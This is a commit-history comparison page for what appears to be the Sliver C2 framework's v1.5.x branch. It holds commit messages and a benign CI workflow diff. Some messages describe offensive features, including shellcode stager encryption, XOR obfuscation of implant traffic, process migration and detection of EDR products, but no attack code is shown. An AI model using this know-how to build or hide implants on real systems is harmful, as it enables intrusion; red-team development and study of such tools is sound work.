Compare commits

...
135 Commits
Author SHA1 Message Date
Joe 9122878cbb Merge commit from fork
Fix GHSA-q8j9-34qf-7vq7
2025-10-27 15:58:48 -07:00
rkervella 12c5e58725 Add filtering options 2025-10-27 13:10:57 -07:00
Joe 6cd6fa7c54 Merge pull request #1950 from stephenbradshaw/v1.5x/stager-rc4-support
Add RC4 support to shellcode stager - 1.5x backport
2025-05-21 15:35:59 -05:00
Stephen Bradshaw d05697b087 Add RC4 support to shellcode stager 1.5x backport 2025-05-21 11:07:06 +10:00
Joe ca483cf435 Merge pull request #1948 from stephenbradshaw/v1.5.x/master
Backport "restrict operator certificates to SHA256 to fix grpcio bugs" to V1.5.x/master
2025-05-20 09:24:32 -05:00
Stephen Bradshaw adb4d038a8 Fix test 2025-05-20 10:11:44 +10:00
Stephen Bradshaw 8ac446dfe5 Remove commented 2025-05-19 15:26:53 +10:00
Stephen Bradshaw a378de1c34 1.5x backport of d07aae4 restrict operator certificates to SHA256 to fix grpcio bugs (#1877) 2025-05-19 15:17:57 +10:00
Joe 3ce5ceefcc Merge pull request #1930 from sans-sec588/v1.5.x/master
Backported Commit to fix Cursed Chrome Cookies
2025-04-23 07:37:12 -07:00
Moses Frost 16c0da9acd Backported Commit to fix Chrome Cookies 2025-04-11 17:15:58 -05:00
Ronan Kervella e116a5ec3d Merge pull request #1896 from BishopFox/fix/action/update-artifact-version
Update actions/upload-artifact to v4
2025-02-19 11:51:08 -08:00
rkervella 770f937884 Update actions/upload-artifact to v4 2025-02-19 11:49:50 -08:00
Ronan Kervella 10e2453260 Merge pull request #1890 from BishopFox/fix/v1.5.x/GHSA-fh4v-v779-4g2w
Track reverse portfwd state
2025-02-19 11:44:31 -08:00
rkervella 0b844668da Add StartW declaration 2025-02-19 11:12:39 -08:00
rkervella f14b079879 Merge branch 'v1.5.x/master' into fix/v1.5.x/GHSA-fh4v-v779-4g2w 2025-02-19 09:34:43 -08:00
Ronan Kervella ba05d0adc2 Merge pull request #1895 from BishopFox/v1.5.x/unit-tests
Remove mingw env vars from workflow
2025-02-19 09:33:58 -08:00
rkervella 7169bf3755 Remove mingw env vars from workflow 2025-02-19 09:32:36 -08:00
rkervella 6136af2f38 Track reverse portfwd state 2025-02-13 15:29:12 -08:00
Joe 954b50225c Merge pull request #1616 from BishopFox/v1.5.x/fix-msf-stager
V1.5.x/fix msf stager
2024-03-27 07:36:45 -07:00
rkervella 0f27efe1e5 Fixes #1289, #1330, #1492, #1580 and #1606 2024-03-26 15:52:46 -07:00
moloch-- 85b0e870d0 Fix go version in build action 2024-02-28 11:43:00 -08:00
moloch-- 122fb03eab Remove unused var 2024-02-28 11:23:54 -08:00
moloch-- 5c61edd895 Update v1.5 workflows 2024-02-05 13:36:58 -07:00
moloch-- c79d5afe8e Update v1.5 workflows 2024-02-05 13:35:38 -07:00
Joe f72ca26b74 Merge pull request #1573 from miszr/patch-1
Reassemble DNS Session init requests
2024-02-05 14:18:39 -06:00
Mikael Szreder 50032de230 Reassemble DNS Session init requests
After changing the KEM in commit 9ab27d1 the DNS session init requests are split up into two DNS queries due to the age library appending some headers in the resulting ciphertext.

This commit resolves this issue, by firstly reassembling the session init request from multiple DNS requests.

This commit fixes #1354 and #1521.

Signed-off-by: Mikael Szreder <[email protected]>
2024-02-02 13:51:50 +01:00
Ronan Kervella 968415f0c0 Merge pull request #1405 from rwincey/async_download_overwrite_bug
Fixed issue with async download on overwrite (1.5.x)
2023-09-25 11:07:50 -07:00
Joe 1ca6c76081 Merge pull request #1406 from rwincey/ssh_cert_auth
Added ssh certificate auth to ssh module
2023-09-17 07:59:09 -07:00
b0yd aaaed919a2 Added ssh certificate auth to ssh module 2023-09-13 16:14:55 -04:00
b0yd 4cd2c73fc0 Fixed issue with async download on overwite 2023-09-13 14:51:56 -04:00
moloch-- ad2be9467e Log dns init length 2023-08-07 11:36:57 -07:00
moloch-- 0050bf86a0 Update dns keyex issue #1354 2023-08-05 12:14:59 -07:00
moloch-- 7e49a48e2f Go v1.20.7 2023-08-05 09:42:34 -07:00
Ronan Kervella f2a3915c79 Merge pull request #1344 from BishopFox/fix/pstree
Fix pstree
2023-07-11 14:24:33 -07:00
rkervella 853a7abf10 Fix recursion to exclude self node 2023-07-11 12:19:16 -07:00
moloch-- c17c37857e Fixes to the Sliver KEM 2023-06-20 11:17:46 -07:00
moloch-- 6b58cb7053 Fixes to the Sliver KEM 2023-06-20 11:17:21 -07:00
Joe 65c9aa0481 Merge pull request #1300 from BishopFox/fix/implant-exit-1.5
Fix implant exit code for sessions.
2023-06-15 17:07:50 -05:00
rkervella 8f275b536f Fix implant exit code for sessions. 2023-06-15 13:32:04 -07:00
Ronan Kervella cd2e7791af Merge pull request #1257 from BishopFox/msf_stager_custom_luri
Customization of the LURI for MSF Stager Payloads
2023-06-01 09:45:13 -07:00
Joe d2588ca835 Merge pull request #1255 from BishopFox/fix/autorelease
Update autorelease action
2023-06-01 11:25:45 -05:00
Raf ef5b204ecb Adding customization of the LURI through the HTTP C2 server options for HTTP(S) MSF stager payloads 2023-06-01 12:00:57 -04:00
moloch-- 1be433e927 Update autorelease action 2023-06-01 06:37:40 -07:00
Joe 9f73a7ad03 Merge pull request #1251 from BishopFox/more_jobs_info
More information from the jobs command about stage listeners
2023-05-31 17:11:12 -05:00
Joe 8e7f907353 Merge pull request #1246 from BishopFox/d77edependabot/go_modules/gorm.io/driver/mysql-1.5.1
Bump gorm.io/driver/mysql from 1.5.0 to 1.5.1
2023-05-30 09:14:20 -05:00
dependabot[bot] 642838cbc4 Bump gorm.io/driver/mysql from 1.5.0 to 1.5.1
Bumps [gorm.io/driver/mysql](https://github.com/go-gorm/mysql) from 1.5.0 to 1.5.1.
- [Commits](https://github.com/go-gorm/mysql/compare/v1.5.0...v1.5.1)

---
updated-dependencies:
- dependency-name: gorm.io/driver/mysql
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-05-30 00:53:31 +00:00
Joe e030b7cdd0 Merge pull request #1247 from BishopFox/2c59dependabot/go_modules/gorm.io/driver/postgres-1.5.2
Bump gorm.io/driver/postgres from 1.5.0 to 1.5.2
2023-05-29 19:52:08 -05:00
dependabot[bot] b9da25e80d Bump gorm.io/driver/postgres from 1.5.0 to 1.5.2
Bumps [gorm.io/driver/postgres](https://github.com/go-gorm/postgres) from 1.5.0 to 1.5.2.
- [Commits](https://github.com/go-gorm/postgres/compare/v1.5.0...v1.5.2)

---
updated-dependencies:
- dependency-name: gorm.io/driver/postgres
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-05-30 00:17:07 +00:00
Joe 4a7351a2da Merge pull request #1245 from BishopFox/8960dependabot/go_modules/github.com/sirupsen/logrus-1.9.2
Bump github.com/sirupsen/logrus from 1.9.0 to 1.9.2
2023-05-29 19:15:49 -05:00
Joe 261645cc88 Merge pull request #1249 from BishopFox/fbe2dependabot/go_modules/gorm.io/driver/sqlite-1.5.1
Bump gorm.io/driver/sqlite from 1.5.0 to 1.5.1
2023-05-29 19:14:54 -05:00
Raf 9db0b29e1a Compiling protobuf with a newer version of protoc 2023-05-23 14:16:07 -04:00
Raf f027b161eb Addressing #713 - Adding more info to jobs command output 2023-05-23 13:41:12 -04:00
dependabot[bot] 729b03d515 Bump gorm.io/driver/sqlite from 1.5.0 to 1.5.1
Bumps [gorm.io/driver/sqlite](https://github.com/go-gorm/sqlite) from 1.5.0 to 1.5.1.
- [Commits](https://github.com/go-gorm/sqlite/compare/v1.5.0...v1.5.1)

---
updated-dependencies:
- dependency-name: gorm.io/driver/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-05-22 04:03:16 +00:00
dependabot[bot] 92c087cd2f Bump github.com/sirupsen/logrus from 1.9.0 to 1.9.2
Bumps [github.com/sirupsen/logrus](https://github.com/sirupsen/logrus) from 1.9.0 to 1.9.2.
- [Release notes](https://github.com/sirupsen/logrus/releases)
- [Changelog](https://github.com/sirupsen/logrus/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sirupsen/logrus/compare/v1.9.0...v1.9.2)

---
updated-dependencies:
- dependency-name: github.com/sirupsen/logrus
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-05-22 04:01:55 +00:00
Joe 87c14df0e2 Merge pull request #1243 from xl4sh/fix/tasks-fetch
Fix msg type errors in tasks fetch command
2023-05-19 10:19:41 -05:00
xl4sh 9488a5f9d8 Fix msg type errors in tasks fetch command 2023-05-19 13:03:29 +09:00
Ronan Kervella 43ca23bab1 Merge pull request #1238 from rwincey/mem_files
Added memory file feature
2023-05-18 10:11:08 -07:00
Joe 062f176a36 Merge pull request #1242 from BishopFox/fix/1241
Check for nil session when using `session -k`
2023-05-18 09:12:16 -05:00
rkervella 1aefbcb9ee Check nil session 2023-05-17 19:06:39 -07:00
Joe dc5220c87e Merge pull request #1234 from BishopFox/33bedependabot/go_modules/gorm.io/gorm-1.25.1
Bump gorm.io/gorm from 1.25.0 to 1.25.1
2023-05-17 20:59:32 -05:00
Joe 6ef4ea3e74 Merge pull request #1239 from BishopFox/fix/1236
Verbose error when msfvenom fails in `generate starger`
2023-05-17 20:58:36 -05:00
rkervella 2378804681 Ensure msfvenom is in PATH and more verbose error in client 2023-05-17 10:39:57 -07:00
b0yd 9ff31e9724 Added memory file feature 2023-05-17 12:37:30 -04:00
Joe af46878f85 Merge pull request #1232 from BishopFox/5421dependabot/go_modules/golang.org/x/crypto-0.9.0
Bump golang.org/x/crypto from 0.8.0 to 0.9.0
2023-05-15 15:06:06 -05:00
Joe 47f10d0301 Merge pull request #1235 from BishopFox/dns-specification
Adding support for specifying DNS resolvers through advanced options
2023-05-15 15:04:40 -05:00
Raf 52daa1ac66 Adding support for specifying DNS resolvers through advanced options 2023-05-15 14:50:44 -04:00
dependabot[bot] 6e175377a6 Bump gorm.io/gorm from 1.25.0 to 1.25.1
Bumps [gorm.io/gorm](https://github.com/go-gorm/gorm) from 1.25.0 to 1.25.1.
- [Release notes](https://github.com/go-gorm/gorm/releases)
- [Commits](https://github.com/go-gorm/gorm/compare/v1.25.0...v1.25.1)

---
updated-dependencies:
- dependency-name: gorm.io/gorm
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-05-15 04:01:43 +00:00
dependabot[bot] 38a740aff2 Bump golang.org/x/crypto from 0.8.0 to 0.9.0
Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.8.0 to 0.9.0.
- [Commits](https://github.com/golang/crypto/compare/v0.8.0...v0.9.0)

---
updated-dependencies:
- dependency-name: golang.org/x/crypto
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-05-15 04:01:21 +00:00
moloch-- 4690430cec update installer to symlink sliver/sliver-client 2023-05-14 19:55:21 -07:00
Joe 81acc47bdc Merge pull request #1229 from BishopFox/go/v1.20.4
Go v1.20.4
2023-05-12 11:33:58 -05:00
moloch-- d547708961 Go v1.20.4 2023-05-12 08:11:19 -07:00
Joe 415c7ebd03 Merge pull request #1226 from BishopFox/cf59dependabot/go_modules/google.golang.org/grpc-1.55.0
Bump google.golang.org/grpc from 1.54.0 to 1.55.0
2023-05-08 10:19:36 -05:00
Joe 0510ef7242 Merge pull request #1227 from BishopFox/ac80dependabot/go_modules/golang.org/x/term-0.8.0
Bump golang.org/x/term from 0.7.0 to 0.8.0
2023-05-08 10:16:05 -05:00
dependabot[bot] 27c6e8e8e4 Bump golang.org/x/term from 0.7.0 to 0.8.0
Bumps [golang.org/x/term](https://github.com/golang/term) from 0.7.0 to 0.8.0.
- [Commits](https://github.com/golang/term/compare/v0.7.0...v0.8.0)

---
updated-dependencies:
- dependency-name: golang.org/x/term
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-05-08 04:00:50 +00:00
dependabot[bot] 64c40bad05 Bump google.golang.org/grpc from 1.54.0 to 1.55.0
Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.54.0 to 1.55.0.
- [Release notes](https://github.com/grpc/grpc-go/releases)
- [Commits](https://github.com/grpc/grpc-go/compare/v1.54.0...v1.55.0)

---
updated-dependencies:
- dependency-name: google.golang.org/grpc
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-05-08 04:00:32 +00:00
Chris Smith 8368fe6b34 Merge pull request #1223 from BishopFox/migrate-procname
Refactor `migrate`
2023-05-05 17:12:19 -07:00
rkervella a468ec8239 Allow migrate to use process names 2023-05-05 16:07:37 -07:00
Joe 40aa052696 Merge pull request #1222 from smeukinou/fix-multiple-display-screenshot
FIX windows screenshot when multiple monitors are used
2023-05-05 09:50:30 -05:00
Joe c3e8a1a938 Merge pull request #1221 from smeukinou/fix_locale_limit
FIX implant generation with locale limit
2023-05-05 09:50:19 -05:00
Joe bacd3d6f13 Merge pull request #1220 from smeukinou/master
Add ESET Internet Security to kwnown security processes
2023-05-05 09:50:08 -05:00
smeukinou b5e611d73b FIX windows screenshot when multiple monitors are used, and they are not exactly side-by-side 2023-05-05 13:36:53 +02:00
smeukinou 2f9c84c793 FIX implant generation with locale limit not compiling when not in debug mode 2023-05-05 11:44:13 +02:00
smeukinou d921c3c56d Add ESET Internet Security to kwnown security processes 2023-05-05 10:58:50 +02:00
Joe 8408296c0b Merge pull request #1218 from BishopFox/f6e9dependabot/go_modules/modernc.org/sqlite-1.22.1
Bump modernc.org/sqlite from 1.22.0 to 1.22.1
2023-05-01 09:45:47 -05:00
Joe b7206530f4 Merge pull request #1217 from BishopFox/20f6dependabot/go_modules/github.com/miekg/dns-1.1.54
Bump github.com/miekg/dns from 1.1.53 to 1.1.54
2023-05-01 09:44:51 -05:00
dependabot[bot] 5b22e6dfc8 Bump modernc.org/sqlite from 1.22.0 to 1.22.1
Bumps [modernc.org/sqlite](https://gitlab.com/cznic/sqlite) from 1.22.0 to 1.22.1.
- [Release notes](https://gitlab.com/cznic/sqlite/tags)
- [Commits](https://gitlab.com/cznic/sqlite/compare/v1.22.0...v1.22.1)

---
updated-dependencies:
- dependency-name: modernc.org/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-05-01 04:05:06 +00:00
dependabot[bot] ad53f903c7 Bump github.com/miekg/dns from 1.1.53 to 1.1.54
Bumps [github.com/miekg/dns](https://github.com/miekg/dns) from 1.1.53 to 1.1.54.
- [Release notes](https://github.com/miekg/dns/releases)
- [Changelog](https://github.com/miekg/dns/blob/master/Makefile.release)
- [Commits](https://github.com/miekg/dns/compare/v1.1.53...v1.1.54)

---
updated-dependencies:
- dependency-name: github.com/miekg/dns
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-05-01 04:04:33 +00:00
Joe 649960a3e9 Merge pull request #1215 from BishopFox/protobuf-xor
Implant protobuf update
2023-04-27 18:52:32 -05:00
rkervella 7c33022408 Apply XOR to dnspb and commonpb too 2023-04-27 15:18:24 -07:00
rkervella 7522a0b7de Apply XOR to protobuf raw data 2023-04-27 15:01:13 -07:00
Joe 651587c324 Merge pull request #1214 from cmprmsd/rapid7
Add Rapid 7 EDR - Insight Agent
2023-04-27 11:17:08 -05:00
cmprmsd fce0221bc7 Add Rapid 7 2023-04-27 09:07:48 +02:00
Joe 8a9437c99a Merge pull request #1213 from rwincey/console_fix
Fixed nil pointer in console
2023-04-25 18:21:55 -05:00
b0yd 3599af150f Fixed nil pointer 2023-04-24 14:42:14 -04:00
Joe d92aaa98e4 Merge pull request #1212 from BishopFox/ef39dependabot/go_modules/modernc.org/sqlite-1.22.0
Bump modernc.org/sqlite from 1.21.1 to 1.22.0
2023-04-24 12:08:46 -05:00
dependabot[bot] 9e12db9ad2 Bump modernc.org/sqlite from 1.21.1 to 1.22.0
Bumps [modernc.org/sqlite](https://gitlab.com/cznic/sqlite) from 1.21.1 to 1.22.0.
- [Release notes](https://gitlab.com/cznic/sqlite/tags)
- [Commits](https://gitlab.com/cznic/sqlite/compare/v1.21.1...v1.22.0)

---
updated-dependencies:
- dependency-name: modernc.org/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-24 04:01:09 +00:00
Joe c367c8c948 Merge pull request #1207 from BishopFox/fix_info_beacon
always display updated info
2023-04-19 13:30:01 -05:00
Tim Makram Ghatas 77ab598d59 pull latest beacon or session configuration on info command even if a beacon or session is currently selected to avoid displaying outdated values after a reconfiguration 2023-04-19 18:21:02 +02:00
Joe c0a42c6b14 Merge pull request #1202 from BishopFox/75cedependabot/go_modules/gorm.io/driver/mysql-1.5.0
Bump gorm.io/driver/mysql from 1.4.7 to 1.5.0
2023-04-17 12:15:55 -05:00
dependabot[bot] 7479e86765 Bump gorm.io/driver/mysql from 1.4.7 to 1.5.0
Bumps [gorm.io/driver/mysql](https://github.com/go-gorm/mysql) from 1.4.7 to 1.5.0.
- [Release notes](https://github.com/go-gorm/mysql/releases)
- [Commits](https://github.com/go-gorm/mysql/compare/v1.4.7...v1.5.0)

---
updated-dependencies:
- dependency-name: gorm.io/driver/mysql
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-17 16:39:36 +00:00
Joe fd645e6c04 Merge pull request #1201 from BishopFox/ae25dependabot/go_modules/gorm.io/driver/sqlite-1.5.0
Bump gorm.io/driver/sqlite from 1.4.4 to 1.5.0
2023-04-17 11:37:57 -05:00
dependabot[bot] ef1c0341de Bump gorm.io/driver/sqlite from 1.4.4 to 1.5.0
Bumps [gorm.io/driver/sqlite](https://github.com/go-gorm/sqlite) from 1.4.4 to 1.5.0.
- [Release notes](https://github.com/go-gorm/sqlite/releases)
- [Commits](https://github.com/go-gorm/sqlite/compare/v1.4.4...v1.5.0)

---
updated-dependencies:
- dependency-name: gorm.io/driver/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-17 14:47:54 +00:00
Joe 1e6218f8fc Merge pull request #1200 from BishopFox/ff8fdependabot/go_modules/gorm.io/gorm-1.25.0
Bump gorm.io/gorm from 1.24.7-0.20230306060331-85eaf9eeda11 to 1.25.0
2023-04-17 09:46:15 -05:00
Joe c2abf668b6 Merge pull request #1199 from BishopFox/8a56dependabot/go_modules/golang.org/x/crypto-0.8.0
Bump golang.org/x/crypto from 0.7.0 to 0.8.0
2023-04-17 09:44:20 -05:00
dependabot[bot] 8c06b83821 Bump gorm.io/gorm from 1.24.7-0.20230306060331-85eaf9eeda11 to 1.25.0
Bumps [gorm.io/gorm](https://github.com/go-gorm/gorm) from 1.24.7-0.20230306060331-85eaf9eeda11 to 1.25.0.
- [Release notes](https://github.com/go-gorm/gorm/releases)
- [Commits](https://github.com/go-gorm/gorm/commits/v1.25.0)

---
updated-dependencies:
- dependency-name: gorm.io/gorm
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-17 04:01:21 +00:00
dependabot[bot] 57ddb1a1bc Bump golang.org/x/crypto from 0.7.0 to 0.8.0
Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.7.0 to 0.8.0.
- [Release notes](https://github.com/golang/crypto/releases)
- [Commits](https://github.com/golang/crypto/compare/v0.7.0...v0.8.0)

---
updated-dependencies:
- dependency-name: golang.org/x/crypto
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-17 04:01:05 +00:00
Joe 0a43dc688f Merge pull request #1187 from BishopFox/5ec6dependabot/go_modules/github.com/spf13/cobra-1.7.0
Bump github.com/spf13/cobra from 1.6.1 to 1.7.0
2023-04-13 12:16:23 -05:00
Joe 10d5f80f6b Merge pull request #1195 from BishopFox/9ad1dependabot/bundler/docs/nokogiri-1.14.3
Bump nokogiri from 1.14.1 to 1.14.3 in /docs
2023-04-13 12:16:05 -05:00
Joe 37efe1684b Merge pull request #1194 from BishopFox/983cdependabot/bundler/docs/commonmarker-0.23.9
Bump commonmarker from 0.23.8 to 0.23.9 in /docs
2023-04-13 12:15:44 -05:00
dependabot[bot] c2adb8187e Bump nokogiri from 1.14.1 to 1.14.3 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.14.1 to 1.14.3.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.14.1...v1.14.3)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-12 06:24:49 +00:00
dependabot[bot] 7033be8408 Bump commonmarker from 0.23.8 to 0.23.9 in /docs
Bumps [commonmarker](https://github.com/gjtorikian/commonmarker) from 0.23.8 to 0.23.9.
- [Release notes](https://github.com/gjtorikian/commonmarker/releases)
- [Changelog](https://github.com/gjtorikian/commonmarker/blob/main/CHANGELOG.md)
- [Commits](https://github.com/gjtorikian/commonmarker/compare/v0.23.8...v0.23.9)

---
updated-dependencies:
- dependency-name: commonmarker
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-12 05:34:01 +00:00
Joe 497a4cc698 Merge pull request #1188 from BishopFox/41a3dependabot/go_modules/golang.org/x/net-0.9.0
Bump golang.org/x/net from 0.8.0 to 0.9.0
2023-04-11 08:42:36 -05:00
Joe f792781d5d Merge pull request #1191 from BishopFox/beacon-always-show-hostname
Always show hostname when displaying the list of beacons
2023-04-11 08:42:16 -05:00
Joe 886c9884d0 Merge pull request #1193 from BishopFox/wg-zombies
Complete tearing down Wireguard listener before marking the job as complete
2023-04-11 08:41:53 -05:00
Raf f09efe9512 Fixing #1192. Waiting to close the job channel until all teardown tasks are done 2023-04-11 08:02:47 -04:00
Ronan Kervella ee6decb64b Merge pull request #1190 from BishopFox/issue1181
Different C2 for interactive session from a beacon
2023-04-10 08:57:16 -07:00
Raf 929e67e295 Always show hostname when displaying the list of beacons 2023-04-10 10:19:12 -04:00
dependabot[bot] 03183aefd3 Bump golang.org/x/net from 0.8.0 to 0.9.0
Bumps [golang.org/x/net](https://github.com/golang/net) from 0.8.0 to 0.9.0.
- [Release notes](https://github.com/golang/net/releases)
- [Commits](https://github.com/golang/net/compare/v0.8.0...v0.9.0)

---
updated-dependencies:
- dependency-name: golang.org/x/net
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-10 14:08:23 +00:00
Joe b7ba23c409 Merge pull request #1186 from BishopFox/031ddependabot/go_modules/golang.org/x/text-0.9.0
Bump golang.org/x/text from 0.8.0 to 0.9.0
2023-04-10 08:58:51 -05:00
dependabot[bot] 6c77808359 Bump golang.org/x/text from 0.8.0 to 0.9.0
Bumps [golang.org/x/text](https://github.com/golang/text) from 0.8.0 to 0.9.0.
- [Release notes](https://github.com/golang/text/releases)
- [Commits](https://github.com/golang/text/compare/v0.8.0...v0.9.0)

---
updated-dependencies:
- dependency-name: golang.org/x/text
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-10 04:31:31 +00:00
Joe 626d1ee5c9 Merge pull request #1184 from BishopFox/7c8ddependabot/go_modules/golang.org/x/sys-0.7.0
Bump golang.org/x/sys from 0.6.0 to 0.7.0
2023-04-09 23:29:53 -05:00
dependabot[bot] 689645d4f8 Bump github.com/spf13/cobra from 1.6.1 to 1.7.0
Bumps [github.com/spf13/cobra](https://github.com/spf13/cobra) from 1.6.1 to 1.7.0.
- [Release notes](https://github.com/spf13/cobra/releases)
- [Commits](https://github.com/spf13/cobra/compare/v1.6.1...v1.7.0)

---
updated-dependencies:
- dependency-name: github.com/spf13/cobra
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-10 04:02:53 +00:00
dependabot[bot] 7fa1b5c824 Bump golang.org/x/sys from 0.6.0 to 0.7.0
Bumps [golang.org/x/sys](https://github.com/golang/sys) from 0.6.0 to 0.7.0.
- [Release notes](https://github.com/golang/sys/releases)
- [Commits](https://github.com/golang/sys/compare/v0.6.0...v0.7.0)

---
updated-dependencies:
- dependency-name: golang.org/x/sys
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-10 04:02:00 +00:00
Joe 0aabd71d9d Merge pull request #1178 from BishopFox/1893dependabot/go_modules/modernc.org/sqlite-1.21.1
Bump modernc.org/sqlite from 1.21.0 to 1.21.1
2023-04-07 21:54:02 -05:00
Joe 5f4960bfb1 Merge pull request #1182 from BishopFox/kill_beacon_by_short_id
Adding support for killing a beacon using the short form of its ID
2023-04-07 13:11:03 -05:00
Raf 400c629dec Adding support for killing a beacon using the short form of its ID 2023-04-07 13:02:24 -04:00
Raf 85f51a8752 Initial support for changing C2 when spawning an interactive session from a beacon. Does not support changing transports. 2023-04-07 11:20:54 -04:00
Joe ec7e76fc2f Merge pull request #1180 from MrAle98/fix/external-builder-config
fix implant configuration for external builders
2023-04-05 12:44:22 -05:00
MrAle98 04e8104ad9 minor fix 2023-04-05 09:04:51 +02:00
MrAle98 d2aaee9882 fix implant configuration for external builders 2023-04-04 16:31:06 +02:00
Joe 54afc61d94 Merge pull request #1177 from BishopFox/8e5fdependabot/go_modules/github.com/miekg/dns-1.1.53
Bump github.com/miekg/dns from 1.1.52 to 1.1.53
2023-04-03 09:40:15 -05:00
dependabot[bot] 246519da59 Bump modernc.org/sqlite from 1.21.0 to 1.21.1
Bumps [modernc.org/sqlite](https://gitlab.com/cznic/sqlite) from 1.21.0 to 1.21.1.
- [Release notes](https://gitlab.com/cznic/sqlite/tags)
- [Commits](https://gitlab.com/cznic/sqlite/compare/v1.21.0...v1.21.1)

---
updated-dependencies:
- dependency-name: modernc.org/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-03 04:14:29 +00:00
dependabot[bot] bd575684d7 Bump github.com/miekg/dns from 1.1.52 to 1.1.53
Bumps [github.com/miekg/dns](https://github.com/miekg/dns) from 1.1.52 to 1.1.53.
- [Release notes](https://github.com/miekg/dns/releases)
- [Changelog](https://github.com/miekg/dns/blob/master/Makefile.release)
- [Commits](https://github.com/miekg/dns/compare/v1.1.52...v1.1.53)

---
updated-dependencies:
- dependency-name: github.com/miekg/dns
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-03 04:14:29 +00:00
Ronan Kervella da4ee8ad51 Merge pull request #1175 from rwincey/file_log
Added file path for debug so it doesn't always goto stdout
2023-03-30 13:55:42 -07:00
b0yd e6645c91a3 Added file path for debug so it doesn't always goto stdout 2023-03-30 14:38:07 -04:00
623 changed files with 57823 additions and 32490 deletions

No files matched your search

+10 -12
View File
@@ -3,7 +3,7 @@ name: Release
on:
push:
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
branches: [master]
branches: ["master", "v1.5.x/master"]
jobs:
linux-windows-build:
@@ -15,7 +15,7 @@ jobs:
- name: Go 1.20
uses: actions/setup-go@v4
with:
go-version: "1.20.2"
go-version: "1.20.7"
- name: OS Packages
run: |
@@ -24,7 +24,7 @@ jobs:
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
@@ -38,7 +38,7 @@ jobs:
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Linux Artifacts
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: linux
path: ./sliver-*
@@ -51,7 +51,7 @@ jobs:
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Windows Artifacts
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: windows
path: ./sliver-*
@@ -65,13 +65,13 @@ jobs:
- name: Go 1.20
uses: actions/setup-go@v4
with:
go-version: "1.20.2"
go-version: "1.20.7"
- name: Mingw
run: brew install mingw-w64
- name: Check out code into the Go module directory
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
@@ -90,7 +90,7 @@ jobs:
run: make macos-arm64
- name: MacOS Artifacts
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: macos
path: ./sliver-*
@@ -105,7 +105,7 @@ jobs:
steps:
- run: mkdir -p ./builds
- uses: actions/download-artifact@v3
- uses: actions/download-artifact@v4
with:
path: ./builds
@@ -147,9 +147,7 @@ jobs:
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
uses: "bishopfox/action-gh-release@v1"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: true
files: |
./artifacts/*
+5 -7
View File
@@ -1,8 +1,9 @@
name: Build & Test
on:
push:
branches: ["v1.5.x/master"]
pull_request:
branches:
- master
branches: ["v1.5.x/master"]
types:
- opened
- reopened
@@ -18,7 +19,7 @@ jobs:
- name: Go 1.20
uses: actions/setup-go@v4
with:
go-version: "1.20.2"
